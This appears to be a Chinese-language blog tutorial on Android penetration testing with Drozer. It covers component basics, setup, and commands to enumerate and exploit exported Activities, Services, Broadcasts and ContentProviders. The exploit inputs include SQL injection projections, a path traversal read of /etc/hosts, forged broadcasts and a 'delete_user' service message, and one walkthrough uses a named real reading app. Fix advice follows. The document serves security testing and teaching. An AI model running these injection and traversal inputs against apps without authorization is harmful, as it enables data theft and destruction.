乐于分享
好东西不私藏

安卓测试之Drozer

安卓测试之Drozer

安卓测试之Drozer

    • 1. 安卓四大组件
    • 2. 准备工作(环境配置)
    • 3. 启动客户端和服务端
    • 4. 相关命令
      • 4.1 基础探测命令(先扫攻击面)
      • 4.2 Activity 组件安全测试
      • 4.3 Service 服务组件安全测试
      • 4.4 BroadcastReceiver 广播接收器测试
      • 4.5 ContentProvider 内容提供者(最高危)
    • 5. APP测试
    • 6. 通用漏洞修复方案
    • 7. 完整测试流程

1. 安卓四大组件

安卓的四大组件是构建应用程序的核心模块,分别是 Activity(活动)、Service(服务)、BroadcastReceiver(广播接收器) 和 ContentProvider(内容提供者)。它们各自承担不同的职责,共同协作以提供完整的应用功能。

  1. Activity(活动) 作用:负责界面展示、与用户交互,是应用可视化页面载体。 每个页面对应一个 Activity,持有 Window 承载 View 视图;拥有完整生命周期(onCreate/onStart/onResume/onPause/onStop/onDestroy); 页面跳转依靠 Intent 通信,可携带数据、启动其他四大组件。
  2. Service(服务) 作用:无界面,后台长时间执行耗时 / 常驻任务。 本地服务:同应用内后台运行,例:音乐播放、文件下载、定时同步; 远程服务(AIDL):跨进程通信,供其他 App 调用功能; 两种启动方式: startService:独立运行,需手动 stopSelf 销毁; bindService:绑定宿主,宿主销毁服务同步销毁,支持双向通信。
  3. BroadcastReceiver(广播接收器) 作用:接收系统 / 自定义广播消息,实现组件、应用间解耦通知。 系统广播:电量变化、开机完成、网络切换、屏幕锁屏; 自定义广播:App 内部页面、服务间传递通知; 注册方式:静态注册(AndroidManifest.xml)、动态注册(代码注册,生命周期跟随页面); 执行逻辑轻量,耗时操作需交由 Service 处理。
  4. ContentProvider(内容提供者) 作用:跨应用安全共享结构化数据,统一数据访问标准。 封装数据库 / 文件数据,对外提供增删改查接口(insert/query/update/delete); 通过 Uri 定位数据,配合 ContentResolver 访问; 系统内置:通讯录、相册、短信、媒体库均使用 ContentProvider 对外暴露数据; 自带权限管控,保障跨 App 数据安全。

2. 准备工作(环境配置)

Drozer 是 Android 组件渗透专用框架,核心用于检测导出(exported=true / 含 intent-filter) 四大组件的越权、数据泄露、SQL 注入、DoS、目录遍历等高危漏洞。

PC 端安装 Drozer 客户端
下载地址:https://github.com/ReversecLabs/drozer/releases/tag/3.1.0 将下载的.whl文件放到任意位置执行:安装命令:drozer-3.1.0-py3-none-any.whl 验证安装
手机 安装 drozer-agent
模拟器 / 真机开启 USB 调试,下载:https://github.com/ReversecLabs/drozer-agent/releases/tag/3.1.0 将下载好.apk直接拖进模拟器安装

3. 启动客户端和服务端

打开 Agent,点击 开启(ON) 启动内置 31415 端口服务 监听端口为31415 端口转发:adb forward tcp:31415 tcp:31415 进入 Drozer 控制台:drozer console connect

4. 相关命令

4.1 基础探测命令(先扫攻击面)

# 列出设备所有安装包run app.package.list# 查看目标APP完整攻击面(汇总所有导出组件)run app.package.attacksurface com.xxx.target# 导出目标APK的AndroidManifest清单run app.package.manifest com.xxx.target

4.2 Activity 组件安全测试

常见漏洞:登录绕过 / 越权访问敏感页面、Intent 空参数 DoS 崩溃、Activity 劫持、敏感数据 Intent 明文传递。 全套测试命令

1. 查看所有Activity导出状态、所需权限run app.activity.info -a com.xxx.target2. 直接启动导出的Activity(测试登录绕过)run app.activity.start --component com.xxx.target com.xxx.target.SensitiveAdminActivity3. 携带参数启动(伪造业务数据)run app.activity.start --component com.xxx.target com.xxx.target.UserInfoActivity --extra string userId "10086"4. 空Intent测试DoS(不传必填Extra,观察APP是否崩溃)run app.activity.start --component com.xxx.target com.xxx.target.PayActivity

风险判定:无需登录态校验、无权限限制即可拉起管理员 / 用户详情 / 支付 / 文件管理页面 → 高危越权漏洞。

4.3 Service 服务组件安全测试

常见漏洞:外部无权限启动后台服务、AIDL 跨进程接口越权、恶意参数导致后台逻辑异常、权限提升。 全套测试命令

# 1. 查询所有导出Service、读写权限run app.service.info -a com.xxx.target# 2. 启动无权限校验的后台Servicerun app.service.start --component com.xxx.target com.xxx.target.DownloadService# 3. 绑定Service并发送消息交互(AIDL接口测试)run app.service.send com.xxx.target com.xxx.target.RemoteService --msg 1 0 0 --extra string cmd "delete_user"

风险判定:导出 Service 可外部调用删除数据、同步隐私文件、执行高敏感后台操作 → 高危。

4.4 BroadcastReceiver 广播接收器测试

常见漏洞:恶意 APP 伪造广播触发敏感操作、空 Action / 非法 Extra 导致 APP 崩溃(DoS)、广播明文窃取通知。 全套测试命令:

# 1. 查看所有导出广播接收器run app.broadcast.info -a com.xxx.target# 2. 发送自定义广播(伪造业务指令)run app.broadcast.send --component com.xxx.target com.xxx.target.PushReceiver --action com.target.LOGOUT --extra string token "fake_token"# 3. 空参数广播DoS测试(不传必填extra)run app.broadcast.send --component com.xxx.target com.xxx.target.OrderReceiver

风险判定:外部可发送广播触发登出、删除订单、重置密码等操作,或直接使应用闪退拒绝服务。

4.5 ContentProvider 内容提供者(最高危)

常见漏洞:SQL 注入、目录遍历读取本地文件、未授权读取用户账号密码、批量数据泄露、权限绕过。 全套测试命令

# 1. 查看Provider授权、读写权限、导出状态run app.provider.info -a com.xxx.target# 2. 自动扫描所有可访问URI(泄露数据表)run scanner.provider.finduris -a com.xxx.target# 3. 读取URI内敏感数据(账号、密码、手机号)run app.provider.query content://com.xxx.target.UserDB/user_info# 4. 检测SQL注入漏洞(Projection/Selection注入)run scanner.provider.injection -a com.xxx.target# 5. 检测目录遍历漏洞(读取本地私有文件)run scanner.provider.traversal -a com.xxx.target# 6. 遍历数据库所有表名run scanner.provider.sqltables -a com.xxx.target# 7. 利用注入查询全表数据run app.provider.query content://com.xxx.target.UserDB/user_info --projection "* FROM sqlite_master;-- "

风险判定

  1. 无读写权限限制可直接查询用户隐私表;
  2. 存在 SQL 注入可拖库、删表;
  3. 目录遍历可读取 app 私有目录密钥、本地缓存。

5. APP测试

将测试app安装到模拟器并运行

  1. 通过关键字查找待测试App包名run app.package.list -f App关键字 如这里的熊猫看书中关键字pandarun app.package.list -f panda
  2. 查看app详细信息 run app.package.info -a App包名run app.package.info -a com.nd.android.pandareader
  3. 确认四大组件攻击面,出现exported代表对外暴露 run app.package.attacksurface App包名run app.package.attacksurface com.nd.android.pandareader
  4. 查看Activity组件的具体信息,出现 Permission: null,代表权限为空,可直接未授权调用 run app.activity.info -a App包名run app.activity.info -a com.nd.android.pandareader
  5. 未授权调用具体组件 run app.activity.start –component App包名 App组件名run app.activity.start –component com.nd.android.pandareader  com.baidu.shucheng.ui.main.MainActivity
  6. 检测Android四大组件安全性 run app.broadcast.info -a App包名run app.broadcast.info -a com.nd.android.pandareader run app.service.info -a App包名run app.service.info -a com.nd.android.pandareader run app.activity.info -a App包名run app.activity.info -a com.nd.android.pandareader run app.provider.info -a App包名run app.provider.info -a com.nd.android.pandareader
  7. 检测数据泄露 run scanner.provider.finduris -a App包名 run app.provider.query 具体的url
  8. 检测是否存在sql注入风险 run scanner.provider.injection -a  App包名无sql注入,如果有,执行
run app.provider.query content:/xxxxxx --projection "* FROM sqlite_master WHERE type='table'--"run app.provider.query content://xxxxx --selection "1=1"
  1. 检测是否存在文件读取漏洞 run scanner.provider.traversal -a App包名如果有执行:
run app.provider.read content://xxxxxxx/../../../../../../../../etc/hosts

6. 通用漏洞修复方案

  1. 组件默认不导出:所有非对外组件添加 android:exported=“false”;
  2. 如需外部调用,增加自定义权限校验,配置 android:permission;
  3. Activity 增加登录态 / Token 校验,禁止直接跳转后台敏感页面;
  4. ContentProvider 严格控制读写权限,过滤 SQL 特殊字符,禁止读取任意本地路径;
  5. Broadcast 增加广播发送方身份校验,关键操作增加签名校验;
  6. Service AIDL 接口增加调用权限校验,过滤恶意指令参数。

7. 完整测试流程

  1. 环境连通,执行 app.package.attacksurface 汇总全部导出组件;
  2. 分别扫描四大组件导出清单,记录无权限组件;
  3. 逐个调用导出组件,验证越权、DoS;
  4. ContentProvider 专项扫描注入、目录遍历、数据泄露;
  5. 整理可复现命令、截图,输出漏洞等级与修复建议。